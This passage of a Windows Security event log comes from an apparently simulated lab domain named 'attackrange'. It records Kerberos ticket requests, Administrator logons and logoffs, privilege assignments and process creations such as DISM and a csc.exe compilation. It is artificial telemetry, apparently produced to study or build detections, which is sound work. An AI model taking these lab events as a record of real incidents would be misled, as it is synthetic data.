	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252745
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252744
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11fc
	New Process Name:	C:\Windows\Temp\730AB708-8555-41DD-9FEF-7FDEC841D6F3\DismHost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1010
	Creator Process Name:	C:\Windows\System32\Dism.exe
	Process Command Line:	C:\Windows\TEMP\730AB708-8555-41DD-9FEF-7FDEC841D6F3\dismhost.exe {EBDB4DD6-4CD0-4D55-84CB-C8BB5A1183CD}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252743
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x171E64

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252742
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252741
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17007D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252740
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A84E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252739
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E687

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252738
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D8B3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252737
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168EAE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252736
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x171E64

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252735
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x171E64
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252734
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252733
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252732
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252731
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x171D40

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252730
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x171D40

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252729
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x171D40
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252728
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252727
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252726
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252725
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17023C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252724
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x480
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1010
	Creator Process Name:	C:\Windows\System32\Dism.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252723
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Windows\System32\Dism.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xb2c
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	dism /online /enable-feature /featurename:File-Services /NoRestart

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252777
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1324
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8777.tmp" "c:\Users\Administrator\AppData\Local\Temp\gpfbrhor\CSC530745164A0A47FDBC167305F85BED.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252776
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x176E55

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252775
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x176E55
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CC8A76A5-A36E-290A-81F1-B1C5FDC2AC7A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252774
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CC8A76A5-A36E-290A-81F1-B1C5FDC2AC7A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252773
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CC8A76A5-A36E-290A-81F1-B1C5FDC2AC7A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252772
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252771
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
